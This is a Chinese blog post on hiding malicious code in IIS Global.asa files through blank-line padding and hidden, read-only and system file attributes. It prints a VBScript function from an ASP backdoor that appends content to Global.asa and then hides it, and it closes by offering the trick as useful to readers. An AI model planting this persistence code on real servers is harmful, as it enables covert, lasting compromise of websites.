IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    巧妙在Global.asa文件里使用的.htaccess小技巧

    小残发表于 2016-11-04 08:55:03
    love 0

    众所周知:黑客会利用Apache配置的.htaccess文件去覆盖默认的WEB网站的配置,功能大概有以下几点:

    添加条件重定向创建虚拟路径(mod_rewrite)自动添加PHP脚本......

    在IIS/ASP的环境中,有个Global.asa文件,这个文件包含了所有asp脚本的共同声明,放在某个ASP应用的根目录。

    如果该文件存在,该ASP应用会自动包含这个文件。

     

    空白行
    黑客也喜欢在Global.asa中使用各种.htaccess技巧,比如隐藏恶意内容,之后就会往里面注入大量的空白行。根据Windows浏览文本的特性,粗心的管理还是难以发现的。

    global-asa_

     

    文件隐藏属性
    .htaccess还有另一个属性,那就是它们都是隐藏的。

    这意味着部分管理员可能不知道他们的存在,除非他们使用显示隐藏文件选项的FTP客户端,或者使用ls -a这类列文件命令参数。

    尽管Global.asa文件也不方便自动在Windows中隐藏,但黑客们仍然有其他办法。
    下面的代码节选自创建恶意Global.asa的ASP后门:

    Public Function createasa(ByVal Content)
    On Error Resume Next
    Set fso = Server.CreateObject("scripting.filesystemobject")
    set f=fso.Getfile("//./" & Server.MapPath("/Global.asa"))
    f.Attributes=0
    Set Obj = Server.CreateObject("adod" & "b.S" & "tream")
    Obj.Type = 2
    Obj.open
    Obj.Charset = "utf-8"
    Obj.Position = Obj.Size
    Obj.writetext = Content
    Obj.SaveToFile "//./" & Server.MapPath("/Global.asa"),2
    Obj.Close
    Set Obj = Nothing
    f.Attributes=1+2+4
    set f=Nothing
    Set fso = Nothing
    End Function

     

    请注意文件里的“1+2+4”,这里解释下:
    1 = 只读文件,网站应用可以读取文件不能写或者删除。
    2 = 隐藏文件,不包含在普通文件列表里。
    4 = 系统文件,系统进行部分调用,或者特殊专用。

    目前市面上很多网马都集成了Global.asa甚至很多朋友还不知道如何利用.希望大家看到这篇文章对你有所帮助!


    博客头像
    作者: 小残 绳命不息 |折腾不止 |我一天不折腾心里难受
    转载请以链接形式注明本文地址:https://www.exehack.net/4104.html
    版权所有© 小残博客 | 关注网络安全 | 本网站内容采用 BY-NC-SA 进行授权。


沪ICP备19023445号-2号
友情链接